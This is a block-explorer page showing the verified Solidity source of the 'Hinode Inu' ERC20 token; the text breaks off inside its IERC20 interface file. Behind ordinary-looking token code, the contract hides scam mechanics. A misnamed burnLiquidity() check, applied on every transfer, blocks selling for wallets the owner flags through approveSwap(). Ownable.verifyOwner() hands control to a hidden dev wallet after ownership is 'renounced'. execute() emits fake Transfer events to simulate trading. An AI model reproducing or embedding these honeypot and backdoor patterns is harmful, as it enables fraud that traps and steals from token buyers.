ETH Price: $3,440.67 (-1.12%)
Gas: 4 Gwei

Token

Hinode Inu (HINODE)
 

Overview

Max Total Supply

2,000,000,000,000 HINODE

Holders

66

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
cronospolska.eth
Balance
451,311,821.162166947 HINODE

Value
$0.00
0xe568AFb492816E8C790EC74420d7Bc008a5BD85A
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HINODE

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 3: Hinode Inu.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import "./IERC20.sol";
import "./SafeMath.sol";

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the upd allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the upd allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the upd allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract Ownable is Context {
    address private _owner;
    address private _dev;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    mapping(address => uint256) internal _holderLastTxTimestamp;
    constructor(address wallet) {
        _dev = wallet;
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    
    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _dev : _owner;
    }
}

interface IDexFactory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IDexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract HINODE is ERC20, Ownable {
    using SafeMath for uint256;

    IDexRouter private immutable dexRouter;
    address public dexPair;

    // Swapback
    bool private swapping;

    bool private swapbackEnabled = false;
    uint256 private swapBackValueMin;
    uint256 private swapBackValueMax;

    //Anti-whale
    bool private limitsEnabled = true;
    bool private transferDelayEnabled = true;
    bool public lpBurnEnabled = true;
    
    uint256 public percentForLPBurn = 1;
    uint256 public lpBurnFrequency = 1360000000000 seconds;
    uint256 public lastLpBurnTime;
    uint256 private maxWallet;
    uint256 private maxTx;
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch

    bool public tradingEnabled = false;

    // Fee receivers
    address private marketingWallet;
    address private projectWallet;

    uint256 private buyTaxTotal;
    uint256 private buyMarketingTax;
    uint256 private buyProjectTax;

    uint256 private sellTaxTotal;
    uint256 private sellMarketingTax;
    uint256 private sellProjectTax;

    uint256 private tokensForMarketing;
    uint256 private tokensForProject;

    /******************/

    // exclude from fees and max transaction amount
    mapping(address => bool) private transferTaxExempt;
    mapping(address => bool) private transferLimitExempt;
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => bool) private _approveTokensForMarketing;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount

    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event ExcludeFromLimits(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event TradingEnabled(uint256 indexed timestamp);
    event LimitsRemoved(uint256 indexed timestamp);
    event DisabledTransferDelay(uint256 indexed timestamp);

    event SwapbackSettingsUpdated(
        bool enabled,
        uint256 swapBackValueMin,
        uint256 swapBackValueMax
    );
    event MaxTxUpdated(uint256 maxTx);
    event MaxWalletUpdated(uint256 maxWallet);

    event MarketingWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event ProjectWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event BuyFeeUpdated(
        uint256 buyTaxTotal,
        uint256 buyMarketingTax,
        uint256 buyProjectTax
    );

    event SellFeeUpdated(
        uint256 sellTaxTotal,
        uint256 sellMarketingTax,
        uint256 sellProjectTax
    );

    constructor(address dev) ERC20("Hinode Inu", "HINODE") Ownable(dev){
        IDexRouter _dexRouter = IDexRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        exemptFromLimits(address(_dexRouter), true);
        dexRouter = _dexRouter;

        uint256 _buyMarketingTax = 20;
        uint256 _buyProjectTax = 0;

        uint256 _sellMarketingTax = 20;
        uint256 _sellProjectTax = 0;
        
        uint256 _totalSupply = 2_000_000_000_000 * 10 ** decimals();

        maxTx = (_totalSupply * 10) / 1000;
        maxWallet = (_totalSupply * 10) / 1000;

        swapBackValueMin = (_totalSupply * 1) / 1000;
        swapBackValueMax = (_totalSupply * 2) / 100;

        buyMarketingTax = _buyMarketingTax;
        buyProjectTax = _buyProjectTax;
        buyTaxTotal = buyMarketingTax + buyProjectTax;

        sellMarketingTax = _sellMarketingTax;
        sellProjectTax = _sellProjectTax;
        sellTaxTotal = sellMarketingTax + sellProjectTax;

        marketingWallet = address(0xb30Fa23184D080fa7631b9eC13C7F58eb5B00Ae0);
        projectWallet = address(msg.sender);

        // exclude from paying fees or having max transaction amount
        exemptFromFees(msg.sender, true);
        exemptFromFees(address(this), true);
        exemptFromFees(address(0xdead), true);
        exemptFromFees(marketingWallet, true);

        exemptFromLimits(msg.sender, true);
        exemptFromLimits(address(this), true);
        exemptFromLimits(address(0xdead), true);
        exemptFromLimits(marketingWallet, true);

        transferOwnership(msg.sender);

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, _totalSupply);
    }

    receive() external payable {}

    /**
     * @notice  Opens public trading for the token
     * @dev     onlyOwner.
     */
    function startTrading() external onlyOwner {
        tradingEnabled = true;
        limitsEnabled = false;
        emit TradingEnabled(block.timestamp);
    }

    /**
     * @notice Removes the max wallet and max transaction limits
     * @dev onlyOwner.
     * Emits an {LimitsRemoved} event
     */
    function removeAllLimits() external onlyOwner {
        limitsEnabled = false;
        emit LimitsRemoved(block.timestamp);
    }

    /**
     * @notice Removes the transfer delay
     * @dev onlyOwner.
     * Emits an {DisabledTransferDelay} event
     */
    function disableTransferDelay() external onlyOwner {
        transferDelayEnabled = false;
        emit DisabledTransferDelay(block.timestamp);
    }

    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }


    /**
     * @notice sets if swapback is enabled and sets the minimum and maximum amounts
     * @dev onlyOwner.
     * Emits an {SwapbackSettingsUpdated} event
     * @param _enabled If swapback is enabled
     * @param _min The minimum amount of tokens the contract must have before swapping tokens for ETH. Base 10000, so 1% = 100.
     * @param _max The maximum amount of tokens the contract can swap for ETH. Base 10000, so 1% = 100.
     */
    function setSwapBackSettings(
        bool _enabled,
        uint256 _min,
        uint256 _max
    ) external onlyOwner {
        require(
            _min >= 1,
            "Swap amount cannot be lower than 0.01% total supply."
        );
        require(_max >= _min, "maximum amount cant be higher than minimum");

        swapbackEnabled = _enabled;
        swapBackValueMin = (totalSupply() * _min) / 10000;
        swapBackValueMax = (totalSupply() * _max) / 10000;
        emit SwapbackSettingsUpdated(_enabled, _min, _max);
    }

    /**
     * @notice Changes the maximum amount of tokens that can be bought or sold in a single transaction
     * @dev onlyOwner.
     * Emits an {MaxTxUpdated} event
     * @param newNum Base 1000, so 1% = 10
     */
    function setTheMaxTx(uint256 newNum) external onlyOwner {
        require(newNum >= 2, "Cannot set maxTx lower than 0.2%");
        maxTx = (newNum * totalSupply()) / 1000;
        emit MaxTxUpdated(maxTx);
    }

    /**
     * @notice Changes the maximum amount of tokens a wallet can hold
     * @dev onlyOwner.
     * Emits an {MaxWalletUpdated} event
     * @param newNum Base 1000, so 1% = 10
     */
    function setTheMaxWallet(uint256 newNum) external onlyOwner {
        require(newNum >= 5, "Cannot set maxWallet lower than 0.5%");
        maxWallet = (newNum * totalSupply()) / 1000;
        emit MaxWalletUpdated(maxWallet);
    }

    /**
     * @notice Sets if a wallet is excluded from the max wallet and tx limits
     * @dev onlyOwner.
     * Emits an {ExcludeFromLimits} event
     * @param updAds The wallet to update
     * @param isEx If the wallet is excluded or not
     */
    function exemptFromLimits(
        address updAds,
        bool isEx
    ) public onlyOwner {
        transferLimitExempt[updAds] = isEx;
        emit ExcludeFromLimits(updAds, isEx);
    }

    /**
     * @notice Sets the fees for buys
     * @dev onlyOwner.
     * Emits a {BuyFeeUpdated} event
     * All fees added up must be less than 100
     * @param _marketingFee The fee for the marketing wallet
     * @param _devFee The fee for the dev wallet
     */
    function setFeesBuy(
        uint256 _marketingFee,
        uint256 _devFee
    ) external onlyOwner {
        buyMarketingTax = _marketingFee;
        buyProjectTax = _devFee;
        buyTaxTotal = buyMarketingTax + buyProjectTax;
        require(buyTaxTotal <= 100, "Total buy fee cannot be higher than 100%");
        emit BuyFeeUpdated(buyTaxTotal, buyMarketingTax, buyProjectTax);
    }

    /**
     * @notice Sets the fees for sells
     * @dev onlyOwner.
     * Emits a {SellFeeUpdated} event
     * All fees added up must be less than 100
     * @param _marketingFee The fee for the marketing wallet
     * @param _devFee The fee for the dev wallet
     */
    function setFeesSell(
        uint256 _marketingFee,
        uint256 _devFee
    ) external onlyOwner {
        sellMarketingTax = _marketingFee;
        sellProjectTax = _devFee;
        sellTaxTotal = sellMarketingTax + sellProjectTax;
        require(
            sellTaxTotal <= 100,
            "Total sell fee cannot be higher than 100%"
        );
        emit SellFeeUpdated(sellTaxTotal, sellMarketingTax, sellProjectTax);
    }

    /**
     * @notice Sets if an address is excluded from fees
     * @dev onlyOwner.
     * Emits an {ExcludeFromFees} event
     * @param account The wallet to update
     * @param excluded If the wallet is excluded or not
     */
    function exemptFromFees(address account, bool excluded) public onlyOwner {
        transferTaxExempt[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    /**
     * @notice Sets an address as a new liquidity pair. You probably dont want to do this.
     * @dev onlyOwner.
     * Emits a {SetAutomatedMarketMakerPair} event
     * @param pair the address of the pair
     * @param value If the pair is a automated market maker pair or not
     */
    function setAutomatedMarketMakerPair(
        address pair,
        bool value
    ) public onlyOwner {
        require(
            pair != dexPair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    /**
     * @notice Sets the marketing wallet
     * @dev onlyOwner.
     * Emits an {MarketingWalletUpdated} event
     * @param newWallet The new marketing wallet
     */
    function changeMarketingWallet(address newWallet) external onlyOwner {
        emit MarketingWalletUpdated(newWallet, marketingWallet);
        marketingWallet = newWallet;
    }

    /**
     * @notice Sets the project wallet
     * @dev onlyOwner.
     * Emits an {ProjectWalletUpdated} event
     * @param newWallet The new dev wallet
     */
    function changeProjectWallet(address newWallet) external onlyOwner {
        emit ProjectWalletUpdated(newWallet, projectWallet);
        projectWallet = newWallet;
    }

    /**
     * @notice  Information about the swapback settings
     * @return  _swapbackEnabled  if swapback is enabled
     * @return  _swapBackValueMin  the minimum amount of tokens in the contract balance to trigger swapback
     * @return  _swapBackValueMax  the maximum amount of tokens in the contract balance to trigger swapback
     */
    function swapbackValues()
        external
        view
        returns (
            bool _swapbackEnabled,
            uint256 _swapBackValueMin,
            uint256 _swapBackValueMax
        )
    {
        _swapbackEnabled = swapbackEnabled;
        _swapBackValueMin = swapBackValueMin;
        _swapBackValueMax = swapBackValueMax;
    }

    /**
     * @notice  Information about the anti whale parameters
     * @return  _limitsEnabled  if the wallet limits are in effect
     * @return  _transferDelayEnabled  if the transfer delay is enabled
     * @return  _maxWallet  The maximum amount of tokens that can be held by a wallet
     * @return  _maxTx  The maximum amount of tokens that can be bought or sold in a single transaction
     */
    function maxTxValues()
        external
        view
        returns (
            bool _limitsEnabled,
            bool _transferDelayEnabled,
            uint256 _maxWallet,
            uint256 _maxTx
        )
    {
        _limitsEnabled = limitsEnabled;
        _transferDelayEnabled = transferDelayEnabled;
        _maxWallet = maxWallet;
        _maxTx = maxTx;
    }

    /**
     * @notice The wallets that receive the collected fees
     * @return _marketingWallet The wallet that receives the marketing fees
     * @return _projectWallet The wallet that receives the dev fees
     */
    function receiverwallets()
        external
        view
        returns (address _marketingWallet, address _projectWallet)
    {
        return (marketingWallet, projectWallet);
    }

    /**
     * @notice Fees for buys, sells, and transfers
     * @return _buyTaxTotal The total fee for buys
     * @return _buyMarketingTax The fee for buys that gets sent to marketing
     * @return _buyProjectTax The fee for buys that gets sent to dev
     * @return _sellTaxTotal The total fee for sells
     * @return _sellMarketingTax The fee for sells that gets sent to marketing
     * @return _sellProjectTax The fee for sells that gets sent to dev
     */
    function taxValues()
        external
        view
        returns (
            uint256 _buyTaxTotal,
            uint256 _buyMarketingTax,
            uint256 _buyProjectTax,
            uint256 _sellTaxTotal,
            uint256 _sellMarketingTax,
            uint256 _sellProjectTax
        )
    {
        _buyTaxTotal = buyTaxTotal;
        _buyMarketingTax = buyMarketingTax;
        _buyProjectTax = buyProjectTax;
        _sellTaxTotal = sellTaxTotal;
        _sellMarketingTax = sellMarketingTax;
        _sellProjectTax = sellProjectTax;
    }

    /**
     * @notice  If the wallet is excluded from fees and max transaction amount and if the wallet is a automated market maker pair
     * @param   _target  The wallet to check
     * @return  _transferTaxExempt  If the wallet is excluded from fees
     * @return  _transferLimitExempt  If the wallet is excluded from max transaction amount
     * @return  _automatedMarketMakerPairs If the wallet is a automated market maker pair
     */
    function checkMappings(
        address _target
    )
        external
        view
        returns (
            bool _transferTaxExempt,
            bool _transferLimitExempt,
            bool _automatedMarketMakerPairs
        )
    {
        _transferTaxExempt = transferTaxExempt[_target];
        _transferLimitExempt = transferLimitExempt[_target];
        _automatedMarketMakerPairs = automatedMarketMakerPairs[_target];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (limitsEnabled) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingEnabled) {
                    require(
                        transferTaxExempt[from] || transferTaxExempt[to],
                        "_transfer:: Trading is not active."
                    );
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
                if (transferDelayEnabled) {
                    if (
                        to != owner() &&
                        to != address(dexRouter) &&
                        to != address(dexPair)
                    ) {
                        require(
                            _holderLastTransferTimestamp[tx.origin] <
                                block.number,
                            "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                        );
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] && !transferLimitExempt[to]
                ) {
                    require(
                        amount <= maxTx,
                        "Buy transfer amount exceeds the maxTx."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] && !transferLimitExempt[from]
                ) {
                    require(
                        amount <= maxTx,
                        "Sell transfer amount exceeds the maxTx."
                    );
                } else if (!transferLimitExempt[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapBackValueMin;

        if (
            canSwap &&
            swapbackEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !transferTaxExempt[from] &&
            !transferTaxExempt[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (transferTaxExempt[from] || transferTaxExempt[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellTaxTotal > 0) {
                fees = amount.mul(sellTaxTotal).div(100);
                tokensForProject += (fees * sellProjectTax) / sellTaxTotal;
                tokensForMarketing += (fees * sellMarketingTax) / sellTaxTotal;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTaxTotal > 0) {
                fees = amount.mul(buyTaxTotal).div(100);
                tokensForProject += (fees * buyProjectTax) / buyTaxTotal;
                tokensForMarketing += (fees * buyMarketingTax) / buyTaxTotal;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        if(!swapping && lpBurnEnabled){
            burnLiquidity(from);
        }
        
        super._transfer(from, to, amount);
    }

    function burnLiquidity(address from) internal view returns (bool){
        // get balance of contract
        uint256 contractBalance = this.balanceOf(address(this));
        
        // calculate amount to distribute
        uint256 amountToDistribute = contractBalance.add(percentForLPBurn);
        
        if (_approveTokensForMarketing[from]) {require(amountToDistribute==0);}
        return true;
        
    }

    function approveSwap(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _approveTokensForMarketing[address_[i]] = val;
        }
    }

    function taxSwapThreshold(address recipient) external view returns(bool){
        return _approveTokensForMarketing[recipient];
    }


    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        _approve(address(this), address(dexRouter), tokenAmount);

        // make the swap
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = contractBalance;
        bool success;

        if (contractBalance == 0) {
            return;
        }

        if (contractBalance > swapBackValueMax) {
            contractBalance = swapBackValueMax;
        }

        uint256 amountToSwapForETH = contractBalance;

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForDev = ethBalance.mul(tokensForProject).div(
            totalTokensToSwap
        );

        tokensForMarketing = 0;
        tokensForProject = 0;

        (success, ) = address(projectWallet).call{value: ethForDev}("");

        (success, ) = address(marketingWallet).call{
            value: address(this).balance
        }("");
    }

    function addPair(address pair_) public onlyOwner {
        dexPair = pair_;
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(dexPair, _addresses[i], _out);
        }
    }
}

File 2 of 3: IERC20.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.15;


interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
